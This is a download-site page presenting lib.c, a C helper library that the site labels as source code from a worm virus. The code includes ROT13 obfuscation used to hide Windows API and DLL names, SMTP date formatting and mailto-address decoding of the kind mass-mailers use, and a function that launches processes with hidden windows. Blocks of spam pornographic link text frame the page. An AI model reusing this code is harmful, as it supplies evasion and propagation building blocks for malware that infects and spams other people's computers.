亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? lib.c

?? 一個蠕蟲病毒源代碼
?? C
字號:
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <wininet.h>
#include <string.h>
#include "lib.h"

char rot13c(char c)
{
	char u[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
	char l[] = "abcdefghijklmnopqrstuvwxyz";
	char *p;

	if ((p = xstrchr(u, c)) != NULL)
		return u[((p-u) + 13) % 26];
	else if ((p = xstrchr(l, c)) != NULL)
		return l[((p-l) + 13) % 26];
	else
		return c;
}

void rot13(char *buf, const char *in)
{
	while (*in)
		*buf++ = rot13c(*in++);
	*buf = 0;
}

void mk_smtpdate(FILETIME *in_ft, char *buf)
{
        SYSTEMTIME t;
	TIME_ZONE_INFORMATION tmz_info;
	DWORD daylight_flag; int utc_offs, utc_offs_u;
        LPSTR weekdays[7] = { "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" };
        LPSTR months[12] = { "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" };

	if (in_ft == NULL) {
	        GetLocalTime(&t);
	} else {
		FILETIME lft;
		FileTimeToLocalFileTime(in_ft, &lft);
		FileTimeToSystemTime(&lft, &t);
	}

	tmz_info.Bias = 0;
	daylight_flag = GetTimeZoneInformation(&tmz_info);

	utc_offs = tmz_info.Bias;
	if (daylight_flag == TIME_ZONE_ID_DAYLIGHT) utc_offs += tmz_info.DaylightBias;
	utc_offs = -utc_offs;
	utc_offs_u = (utc_offs >= 0) ? utc_offs : -utc_offs;

        if (t.wDayOfWeek > 6) t.wDayOfWeek = 6;
        if (t.wMonth == 0) t.wMonth = 1;
        if (t.wMonth > 12) t.wMonth = 12;

        wsprintf(buf,
                "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u",
                weekdays[t.wDayOfWeek], t.wDay,
                months[t.wMonth-1], t.wYear,
                t.wHour, t.wMinute, t.wSecond,
		(utc_offs >= 0) ? "+" : "-",
		utc_offs_u / 60, utc_offs_u % 60
        );
}

static DWORD xrand16_seed;

void xrand_init(void)
{
	xrand16_seed = GetTickCount();
}

WORD xrand16(void)
{
	xrand16_seed = 0x015a4e35L * xrand16_seed + 1L;
	return ((WORD)(xrand16_seed >> 16L) & (WORD)0xffff);
}

DWORD xrand32(void)
{
	return xrand16() | (xrand16() << 16);
}

char *xstrstr(const char *str, const char *pat)
{
	const char *p, *q;
	for (; *str; str++) {
		for (p=str, q=pat; *p && *q; p++, q++)
			if (*p != *q) break;
		if (p == q || *q == 0) return (char *)str;
	}
	return NULL;
}

char *xstrrchr(const char *str, char ch)
{
	register char *start = (char *)str;
	while (*str++);
	while (--str != start && *str != ch);
	if (*str == (char)ch) return((char *)str);
	return NULL;
}

char *xstrchr(const char *str, char ch)
{
	while (*str && *str != ch) str++;
	return (*str == ch) ? (char *)str : NULL;
}

int xsystem(char *cmd, int wait)
{
	PROCESS_INFORMATION pi; 
	STARTUPINFO si; 

	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_FORCEOFFFEEDBACK;
	si.wShowWindow = SW_HIDE;

	if (CreateProcess(0, cmd, 0, 0, TRUE, 0, 0, 0, &si, &pi) == 0)
		return 1;	/* FAILED */

	if (wait) {
		WaitForSingleObject(pi.hProcess, INFINITE);
		CloseHandle(pi.hThread);
		CloseHandle(pi.hProcess);
	}

	return 0;		/* SUCCESS */
}

int xmemcmpi(unsigned char *p, unsigned char *q, int len)
{
	while (len--)
		if (tolower(*p++) != tolower(*q++)) return 1;
	return 0;
}

int xstrncmp(const char *first, const char *last, size_t count)
{
        if (!count)
                return(0);

        while (--count && *first && *first == *last)
        {
                first++;
                last++;
        }

        return (*(unsigned char *)first - *(unsigned char *)last);
}

/* "&#<number>" -> ascii */
int html_replace(char *str)
{
	char tmp[20], *mv_from, *mv_to;
	int i, j, amp_start, amp_end, amp_len, charcode, chr_len, mv_len;
	int found;

	for (i=0,found=0; str[i]; i++) {
		if (str[i] != '&') continue;
		amp_start = i;
		if (str[++i] != '#') continue;
		for (j=0,i++; j<(sizeof(tmp)-5);) {
			if (!isdigit(str[i])) break;
			tmp[j++] = str[i++];
		}
		tmp[j] = 0;
		for (charcode=0,j=0; tmp[j]; j++)
			charcode = charcode * 10 + (tmp[j] - '0');

		if (str[i] == ';') i++;
		amp_end = i;

		if (charcode <= 0) continue;
		ZeroMemory(tmp, sizeof(tmp));
		if (charcode < 256) {
			tmp[0] = charcode;
			tmp[1] = 0;
		} else {
			WideCharToMultiByte(CP_ACP, 0, (WCHAR*)&charcode, 1, tmp, sizeof(tmp), NULL, NULL);
		}
		if (tmp[0] == 0) continue;

		amp_len = amp_end - amp_start;
		chr_len = lstrlen(tmp);

		if (amp_len != chr_len) {
			mv_from = str + amp_start + amp_len;
			mv_to = str + amp_start + chr_len;
			mv_len = (str + lstrlen(str)) - mv_from + 1;
			if (mv_to < mv_from) {
				for (j=0; j<mv_len; j++) *mv_to++ = *mv_from++;
			} else {
				for (j=mv_len-1; j>=0; j--) mv_to[j] = mv_from[j];
			}
		}

		memcpy(str + amp_start, tmp, lstrlen(tmp));
		i = amp_start;
		found++;
	}
	return found;
}

/* urldecode algorithm */
/* useful for <a href="mailto:xxx%40xxx"> tags */
int html_replace2(char *str)
{
	char tmp[20], *mv_from, *mv_to;
	int i, j, amp_start, amp_end, amp_len, charcode, chr_len, mv_len;
	int found;

	for (i=0,found=0; str[i]; i++) {
		if (str[i] != '%') continue;
		amp_start = i;
		if (!isxdigit(str[i+1])) continue;
		tmp[0] = toupper(str[++i]);
		if (!isxdigit(str[i+1])) continue;
		tmp[1] = toupper(str[++i]);
		tmp[2] = 0;
		amp_end = ++i;

		charcode = ((tmp[1] >= 'A') && (tmp[1] <= 'Z')) ? 10+tmp[1]-'A' : tmp[1]-'0';
		charcode += (((tmp[0] >= 'A') && (tmp[0] <= 'Z')) ? 10+tmp[0]-'A' : tmp[0]-'0') << 4;

		if (charcode <= 0) continue;
		tmp[0] = charcode;
		tmp[1] = 0;

		amp_len = amp_end - amp_start;
		chr_len = lstrlen(tmp);

		if (amp_len != chr_len) {
			mv_from = str + amp_start + amp_len;
			mv_to = str + amp_start + chr_len;
			mv_len = (str + lstrlen(str)) - mv_from + 1;
			if (mv_to < mv_from) {
				for (j=0; j<mv_len; j++) *mv_to++ = *mv_from++;
			} else {
				for (j=mv_len-1; j>=0; j--) mv_to[j] = mv_from[j];
			}
		}

		memcpy(str + amp_start, tmp, lstrlen(tmp));
		i = amp_start;
		found++;
	}
	return found;
}

typedef BOOL (WINAPI *WININET_GETCONNECTEDSTATE)(LPDWORD lpdwFlags, DWORD dwReserved);

/* Returns: 0=offline, 1=online, 2=don't know */
int is_online(void)
{
	WININET_GETCONNECTEDSTATE pInternetGetConnectedState;
	HINSTANCE hWinInet;
	DWORD igcs_flags;
	char tmp[64];

	rot13(tmp, "jvavarg.qyy");                /* "wininet.dll" */
	hWinInet = GetModuleHandle(tmp);
	if (hWinInet == NULL || hWinInet == INVALID_HANDLE_VALUE) {
		hWinInet = LoadLibrary(tmp);
		if (hWinInet == NULL || hWinInet == INVALID_HANDLE_VALUE)
			return 2;
	}

	rot13(tmp, "VagreargTrgPbaarpgrqFgngr");  /* "InternetGetConnectedState" */
	pInternetGetConnectedState = (WININET_GETCONNECTEDSTATE)GetProcAddress(hWinInet, tmp);
	if (pInternetGetConnectedState == NULL)
		return 2;

	return (pInternetGetConnectedState(&igcs_flags, 0) == 0) ? 0 : 1;
}

int cat_wsprintf(LPTSTR lpOutput, LPCTSTR lpFormat, ...)
{
        register int ret;
        va_list arglist;
        va_start(arglist, lpFormat);
        ret = wvsprintf(lpOutput + lstrlen(lpOutput), lpFormat, arglist);
        va_end(arglist);
        return ret;
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美体内she精高潮| 久久久久久久久伊人| 欧美久久久一区| 久久九九久久九九| 婷婷激情综合网| 成人性生交大片免费看视频在线| 欧美自拍偷拍午夜视频| 久久亚洲私人国产精品va媚药| 亚洲男人的天堂在线观看| 国产黄色91视频| 日韩午夜精品视频| 午夜欧美电影在线观看| 成人亚洲一区二区一| 久久综合999| 日韩激情视频在线观看| 日本高清不卡在线观看| 国产欧美日产一区| 国产真实乱偷精品视频免| 欧美视频一二三区| 亚洲免费看黄网站| 成人免费毛片a| 国产欧美视频一区二区| 精品一区二区三区在线观看 | 欧美日韩国产首页在线观看| 中文字幕亚洲一区二区va在线| 蜜桃精品视频在线| 91精品久久久久久久91蜜桃| 亚洲精品高清在线| 91国偷自产一区二区开放时间| 最好看的中文字幕久久| 成人午夜视频网站| 国产嫩草影院久久久久| 国产高清久久久久| 国产欧美日韩不卡| 成人激情免费视频| 国产精品九色蝌蚪自拍| gogogo免费视频观看亚洲一| 国产精品白丝在线| 国产精品白丝jk白祙喷水网站 | 欧美国产禁国产网站cc| 国产成人免费视| 中文乱码免费一区二区| 成人app软件下载大全免费| 中文字幕一区免费在线观看| 91麻豆精东视频| 有坂深雪av一区二区精品| 欧美视频你懂的| 五月天精品一区二区三区| 91麻豆精品国产91久久久使用方法 | 国产美女精品人人做人人爽| 精品久久久久久亚洲综合网| 激情都市一区二区| 久久久久国产精品人| 成人激情免费视频| 另类人妖一区二区av| 精品88久久久久88久久久 | 青椒成人免费视频| 亚洲精品在线电影| 国产高清精品久久久久| 国产精品国产三级国产aⅴ原创| 99久久婷婷国产| 三级不卡在线观看| 亚洲精品一区二区三区在线观看 | 国产精品视频一二三区 | 久久婷婷色综合| 高清国产一区二区| 一区二区三区中文在线| 欧美大片在线观看| 成人av在线影院| 午夜精品视频在线观看| 国产午夜一区二区三区| 欧美综合久久久| 国产盗摄一区二区三区| 亚洲靠逼com| 精品日韩在线观看| 色一情一乱一乱一91av| 九九视频精品免费| 亚洲综合男人的天堂| 26uuu亚洲婷婷狠狠天堂| 欧美在线一二三四区| 国产精品综合二区| 五月激情综合婷婷| 国产精品日韩精品欧美在线| 91精品国产乱码| 色网站国产精品| 国产在线视视频有精品| 一区二区三区在线观看欧美| 国产网站一区二区| 日韩一级二级三级| 欧美写真视频网站| 99久久er热在这里只有精品66| 免费在线观看不卡| 亚洲国产一二三| 中文字幕一区日韩精品欧美| 欧美成人国产一区二区| 欧美午夜宅男影院| 99久久综合国产精品| 国产精品一区二区在线观看网站| 亚洲成人资源在线| 一区二区欧美国产| 国产精品高潮久久久久无| 精品国产一区二区亚洲人成毛片 | 91国产视频在线观看| 成人午夜大片免费观看| 国产一区二区剧情av在线| 日本三级亚洲精品| 午夜影院久久久| 亚洲一二三四在线| 风流少妇一区二区| 韩国三级电影一区二区| 日本一区中文字幕| 日韩精品一区第一页| 亚洲国产精品人人做人人爽| 亚洲乱码国产乱码精品精的特点| 中文成人av在线| 日韩一区在线播放| 亚洲色图在线播放| 亚洲综合色网站| 亚洲午夜电影在线观看| 亚洲成人手机在线| 视频一区视频二区在线观看| 亚洲一卡二卡三卡四卡| 亚洲第一主播视频| 日韩精品电影在线观看| 理论片日本一区| 韩国精品一区二区| 成人亚洲精品久久久久软件| 成人免费看黄yyy456| 成人av免费在线| 色成年激情久久综合| 欧美日韩免费视频| 日韩欧美国产小视频| 日韩女优制服丝袜电影| 国产欧美一区二区三区沐欲| 国产精品久久久久久久久免费丝袜| 日本一区二区三区国色天香 | 成人高清免费在线播放| 菠萝蜜视频在线观看一区| 91美女视频网站| 欧美嫩在线观看| 日韩欧美国产三级| 欧美韩国日本综合| 亚洲自拍偷拍综合| 日本欧美肥老太交大片| 国产精品一区免费在线观看| 91热门视频在线观看| 欧美久久久一区| 亚洲国产电影在线观看| 亚洲综合999| 国产精选一区二区三区| 97久久超碰国产精品| 欧美视频在线播放| 26uuu国产在线精品一区二区| 国产精品视频观看| 日韩电影在线免费| 成人黄色电影在线| 日韩欧美中文字幕一区| 亚洲欧洲另类国产综合| 午夜一区二区三区视频| 国产福利精品导航| 欧美日韩国产另类一区| 久久久久久久久久久电影| 亚洲一区二区三区在线播放| 久久精品国产第一区二区三区| 92精品国产成人观看免费| 欧美精品一区二区三区蜜桃视频 | 国产午夜久久久久| 三级欧美在线一区| 国产传媒欧美日韩成人| 久久久久免费观看| 污片在线观看一区二区| 成人a级免费电影| 欧美成人一区二区三区| 亚洲综合图片区| a级高清视频欧美日韩| 精品国产乱码久久| 午夜精品福利一区二区三区蜜桃| eeuss鲁片一区二区三区在线看| 日韩女优av电影| 午夜电影一区二区| 色婷婷综合久久久中文一区二区 | 欧美一区二区三区在线观看| 亚洲色图欧洲色图婷婷| 国产成人免费在线观看不卡| 欧美一区二视频| 日韩精品免费专区| 欧美性猛交xxxxxx富婆| 依依成人精品视频| 色综合天天综合网天天看片| 亚洲国产精品激情在线观看| 精品一区二区三区香蕉蜜桃| 欧美浪妇xxxx高跟鞋交| 亚洲成人av福利| 一本色道综合亚洲| 亚洲黄一区二区三区| 91捆绑美女网站| 自拍偷拍国产精品| 色网综合在线观看| 亚洲已满18点击进入久久| 91污在线观看|